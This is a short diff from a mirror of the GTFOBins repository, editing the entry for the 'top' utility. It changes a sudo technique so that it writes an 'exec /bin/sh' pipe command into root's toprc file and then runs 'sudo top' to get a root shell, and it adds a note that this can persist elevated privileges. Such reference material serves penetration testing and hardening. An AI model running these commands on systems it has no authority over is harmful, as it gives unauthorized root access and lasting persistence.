mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 09:34:56 +02:00
@@ -8,8 +8,9 @@ functions:
|
|||||||
# press return twice
|
# press return twice
|
||||||
reset
|
reset
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: This requires that the root configuration file is writable and might be used to persist elevated privileges.
|
||||||
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
|
code: |
|
||||||
|
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>/root/.config/procps/toprc
|
||||||
sudo top
|
sudo top
|
||||||
# press return twice
|
# press return twice
|
||||||
reset
|
reset
|
||||||
|
Reference in New Issue
Block a user